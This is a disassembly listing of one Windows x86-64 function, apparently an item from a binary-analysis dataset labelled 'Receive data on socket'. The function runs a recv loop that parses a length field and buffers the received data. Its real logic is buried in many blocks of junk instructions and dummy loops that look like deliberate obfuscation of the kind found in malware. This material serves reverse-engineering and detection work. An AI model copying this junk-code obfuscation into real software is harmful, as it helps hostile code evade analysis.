Function at 0x14000759d
Capabilities:
Receive data
Receive data on socket

Disassembly:
push r15
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1038
xor esi, esi
lea rdi, [rsp + 0x30]
mov ecx, 0x2000000
call sub.msvcrt.dll_malloc
mov rbp, rax
jmp 0x140007759
movsxd rax, eax
lea rcx, [rbp + rsi]
add rsi, rax
mov rdx, rdi
mov r8, rax
call sub.msvcrt.dll_memcpy
push r12
push rbx
push r13
push r14
push rdi
push r15
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x258
movzx ecx, dl
movzx esi, ch
mov rbx, 0xf1
cmp edi, 0xc4d685f5
jae 0x140007735
movzx ebx, dh
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000769f
or r10, 0x8453
mov rsi, qword [rbp - 0xe7]
mov esi, dword [rbp - 0x172]
mov dword [rbp - 0x70], eax
sub dword [rbp - 0x1a3], edi
sub bh, byte [rbp - 0x3f]
mov dword [rbp - 0x1be], eax
mov dword [0x14000aa4e], edi
mov esi, ecx
lea r9, [rbp - 0x1fa]
xor qword [rbp - 0x2b], r9
mov dword [rbp - 0x1f9], edi
mov r15, 0xd1f9
mov rax, r8
mov edi, dword [rbp - 0x67]
and ecx, dword [rbp - 0x11c]
mov edi, ecx
mov eax, esi
mov qword [rbp - 0x1c5], rdx
mov dword [rbp - 0x10c], ecx
mov ebx, dword [rbp - 0x1a2]
mov dword [rbp - 0x7e], eax
sub dword [rbp - 0x214], ebx
mov edi, 0x7ed0
and edx, ecx
mov dword [rbp - 0xfe], ecx
inc qword [rsp]
mov edx, 0xb99e
cmp edx, dword [rsp]
jl 0x14000761c
add rsp, 0x10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140007727
mov rcx, qword [rbp - 0x56]
xor esi, 0xaa11
xor r15, r11
movzx ebx, byte [rbp - 0x24a]
and edi, dword [rbp - 0x14e]
mov ebx, 0x1fdb
sub eax, dword [rbp - 0x176]
add eax, dword [0x14000aa43]
mov r13, qword [rbp - 0xf3]
mov dword [rbp - 0x3f], edi
xor r13, r12
xor rbx, qword [rbp - 0x1ec]
mov rsi, qword [rbp - 0x232]
mov r14, r10
add dword [rbp - 0x1a2], eax
mov r10, qword [0x14000aa49]
mov r15, qword [rbp - 0x1cc]
mov rdi, 0x1f0d
inc qword [rsp]
mov edi, 0x8e93
cmp edi, dword [rsp]
jl 0x1400076bf
add rsp, 0x10
leave
pop rsi
pop r15
pop rdi
pop r14
pop r13
pop rbx
pop r12
lea rdx, [0x140007588]
mov rcx, rbp
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140007945
mov rdx, rdi
xor r9d, r9d
mov r8d, 0x1000
mov rcx, qword [str.]
call sub.WS2_32.dll_recv
lea edx, [rax + 1]
cmp edx, 1
ja 0x1400075c3
push r13
push rdi
push rbx
push r14
push r12
push r15
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x198
mov dword [rbp - 0x128], edx
cmp ebx, 0x59175104
jno 0x14000789d
xor eax, 0xf0cd
mov r15, r13
mov r14, qword [0x14000aa42]
movzx edx, bl
or r14, rcx
mov qword [rbp - 0x169], r13
xor r11, qword [rbp - 0x127]
mov qword [rbp - 0x75], r9
mov edi, dword [rbp - 0xd2]
mov dword [rbp - 0x4e], eax
add r10, rdx
sub edi, dword [rbp - 0xbf]
mov r10, r14
mov r12, qword [0x14000aa46]
movzx ebx, byte [rbp - 0xf6]
movzx edx, ch
mov r11, qword [0x14000aa49]
mov esi, 0x86ad
mov ecx, dword [rbp - 0x152]
lea r15, [rbp - 0xdd]
mov eax, 0x21fb
add esi, 0x7319
sub rcx, qword [rbp - 0x6e]
and ebx, dword [0x14000aa47]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140007832
inc qword [rsp]
mov edi, 0x62f7
cmp edi, dword [rsp]
jl 0x14000782e
add rsp, 0x10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000788a
or dword [rbp - 0x18b], esi
mov eax, 0x8475
sub ebx, 0x5fb3
mov qword [rbp - 0xb7], rbx
mov cl, al
movzx eax, bx
movzx edx, dh
add eax, dword [rbp - 0x49]
mov rax, qword [rbp - 0x10f]
mov eax, 0xaaf6
mov edx, ecx
mov r9, qword [rbp - 0xbc]
inc qword [rsp]
mov rdi, 0xf97b
cmp qword [rsp], rdi
jle 0x14000784e
add rsp, 0x10
mov dl, 0x33
xor edi, dword [rbp - 0x98]
mov dword [rbp - 0x17c], esi
mov dword [rbp - 0x124], edx
and rax, rdi
sub qword [rbp - 0x176], r11
add dword [rbp - 0xf4], esi
and qword [rbp - 0x27], r15
mov dword [rbp - 0x16d], ecx
lea ebx, [rbp - 0x5d]
or dword [rbp - 0x92], esi
mov dword [rbp - 0x83], edi
mov edi, 0xc4d4
mov edx, dword [rbp - 0x134]
mov r15, qword [rbp - 0xd3]
add esi, dword [rbp - 0x151]
movzx edi, bh
add r12, qword [rbp - 0xf1]
or dword [0x14000aa4e], esi
mov ebx, eax
sub dword [rbp - 0xc9], edx
movzx ecx, ah
xor qword [rbp - 0x43], rcx
sub rax, qword [0x14000aa4d]
mov r12, rbx
movzx edi, bh
leave
pop rsi
pop r15
pop r12
pop r14
pop rbx
pop rdi
pop r13
mov rcx, rbp
call sub.msvcrt.dll_free
mov rax, 0xffffffffffffffff
add rsp, 0x1038
pop rbx
pop rsi
pop rdi
pop rbp
pop r15
ret
lea rdx, [0x14000758d]
mov rcx, rbp
lea rbx, [rax + 4]
call sub.msvcrt.dll_strstr
mov dword [rsp + 0x2c], 0
test rax, rax
je 0x140007a7f
lea rcx, [rax + 0xf]
mov r8d, 0xa
xor edx, edx
call sub.msvcrt.dll_strtol
mov dword [rsp + 0x2c], eax
push rbp
mov rbp, rsp
sub rsp, 0x68
mov r10, 0x91f3
mov dword [rbp - 0x5e], eax
add qword [rbp - 0x57], r11
mov rax, qword [rbp - 2]
mov eax, dword [rbp - 0x1c]
mov r8, qword [rbp - 0x2c]
mov ecx, dword [rbp - 0x5b]
or ecx, edx
and dword [rbp - 0x38], ecx
add eax, edx
mov edx, eax
mov qword [rbp - 0x1a], r9
mov dword [rbp - 0x42], edx
mov dword [rbp - 0x44], ecx
add ecx, dword [rbp - 1]
mov qword [rbp - 0x46], r9
mov r8, qword [rbp - 0x3a]
mov eax, dword [rbp - 0x58]
lea eax, [rbp - 0xe]
add r9, 0xbea
mov edx, eax
mov r10, qword [rbp - 6]
mov eax, edx
mov r10, r9
add eax, ecx
mov ah, byte [rbp - 0x22]
mov r10, 0xff70
mov r9, qword [rbp - 0x27]
add edx, 0x2455
mov dword [rbp - 0x30], edx
mov eax, edx
mov qword [rbp - 0x4a], r10
mov rcx, qword [0x14000aa48]
mov r9, qword [rbp - 0x4b]
movzx ecx, cx
mov dword [rbp - 0x25], ecx
mov r10, r11
mov edx, ecx
and eax, edx
mov dword [rbp - 0x11], ecx
xor r11, qword [rbp - 0x2d]
mov ecx, dword [rbp - 0xa]
movzx ecx, byte [0x14000aa45]
mov eax, edx
sub qword [rbp - 0x54], r9
sub qword [rbp - 0x2a], rcx
mov rax, qword [rbp - 0x26]
add rcx, qword [rbp - 0x37]
mov qword [rbp - 0x5b], rax
mov rdx, 0x438
and qword [rbp - 0x34], r10
sub ch, byte [rbp - 0x4e]
mov r10, qword [0x14000aa4f]
mov r8, rdx
mov edx, dword [rbp - 0x57]
add r9, qword [rbp - 0x24]
sub qword [rbp - 0x17], r11
sub rax, rdx
or dword [rbp - 0x56], eax
or qword [rbp - 0x47], r8
cmp cx, ax
je 0x140007a7e
sub cx, word [rbp - 0x5a]
mov r10, qword [rbp - 0x30]
mov qword [rbp - 0x52], r9
mov rcx, 0xa204
sub eax, dword [rbp - 0x1d]
leave
mov rax, rbx
mov r15d, esi
sub rax, rbp
sub r15d, eax
cmp dword [rsp + 0x2c], r15d
jg 0x140007ccd
jmp 0x140007cf8
lea rcx, [rbp + rsi]
mov rdx, rdi
add r15d, ebx
movsxd r8, ebx
add rsi, r8
call sub.msvcrt.dll_memcpy
cmp dword [rsp + 0x2c], r15d
jle 0x140007cf8
push rsi
push r15
push r12
push r13
push r14
push rbp
mov rbp, rsp
sub rsp, 0x308
mov edx, dword [rbp - 0x2e9]
mov qword [rbp - 0x184], r14
nop
add edx, 0xe737
mov dword [rbp - 0x1de], esi
and esi, eax
mov ax, word [rbp - 0x10a]
add ecx, dword [rbp - 0x13d]
xor qword [rbp - 0x17f], rcx
mov rdx, qword [rbp - 0x171]
mov esi, edx
cmp edx, 0x80a7dde2
js 0x140007cc3
sub dword [rbp - 0x2b6], eax
sub edx, 0xa659
mov rcx, qword [rbp - 0xdf]
movzx esi, byte [rbp - 0x220]
mov qword [rbp - 0x1c5], rax
add dword [rbp - 0x18b], ecx
sub dword [rbp - 0x134], edx
and r14, rcx
mov byte [rbp - 0xb1], ah
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140007c2b
add eax, dword [rbp - 0x70]
sub ecx, dword [rbp - 8]
add qword [rbp - 0x2f3], r12
mov edx, dword [rbp - 0x58]
and eax, 0xd896
mov dword [rbp - 0xff], ecx
or eax, dword [rbp - 0x100]
mov ecx, edx
sub dword [rbp - 0x258], ecx
mov rcx, qword [rbp - 0x6b]
add r9, qword [0x14000aa4a]
mov ecx, 0x3131
or qword [rbp - 0x298], rcx
mov r12, 0x36de
mov dword [rbp - 0x5b], eax
mov edx, dword [0x14000aa4d]
add rdx, 0x7ab
mov rax, qword [rbp - 0x2af]
mov qword [rbp - 0xbc], r13
mov rcx, qword [rbp - 0x21d]
mov esi, dword [rbp - 0x1ad]
mov qword [rbp - 0x260], r9
mov rdx, qword [rbp - 0x22]
or rsi, qword [rbp - 0x200]
mov qword [rbp - 0x3c], rsi
mov eax, esi
and rsi, 0x82a7
mov esi, dword [rbp - 0x192]
mov qword [rbp - 0xc3], rdx
add r9, qword [rbp - 0x1e9]
add edx, 0x7122
and dword [rbp - 0x211], eax
mov rcx, r14
mov r13, qword [rbp - 0x1c0]
mov dword [0x14000aa4c], esi
mov eax, ecx
mov dword [rbp - 0x188], esi
mov ecx, esi
inc qword [rsp]
mov ecx, 0x881b
cmp ecx, dword [rsp]
jl 0x140007b5c
add rsp, 0x10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140007cb5
mov rax, qword [rbp - 0x2db]
or esi, dword [rbp - 0x84]
add rcx, qword [str.Im1xQ26E8y2QsDLqN1yASiNu8ch80U8RX7lFaSXWggmV2MGopOqCPKAnLDrD3LycUTUA1zzvhCxxadNsb3swnYzBXU2s]
mov r14, rdx
add esi, dword [rbp - 0x1e8]
sub qword [0x14000aa4f], r8
add r15, rax
mov rax, qword [rbp - 0x8d]
sub qword [rbp - 0x272], r12
mov rdx, qword [rbp - 0x56]
mov r10, qword [rbp - 0x2c8]
xor r13, qword [rbp - 0xce]
mov qword [rbp - 0x2da], r11
mov dword [rbp - 0x1ed], ecx
mov esi, dword [rbp - 0x1bb]
mov ecx, dword [rbp - 0x177]
mov dword [rbp - 0x1c4], esi
inc qword [rsp]
mov ecx, 0xe936
cmp ecx, dword [rsp]
jl 0x140007c4b
add rsp, 0x10
leave
pop r14
pop r13
pop r12
pop r15
pop rsi
xor r9d, r9d
mov r8d, 0x1000
mov rdx, rdi
mov rcx, qword [str.]
call sub.WS2_32.dll_recv
mov ebx, eax
lea eax, [rax + 1]
cmp eax, 1
ja 0x140007a9b
jmp 0x140007928
mov qword [0x14000a305], rbp
movsxd rax, dword [rsp + 0x2c]
jmp 0x140007937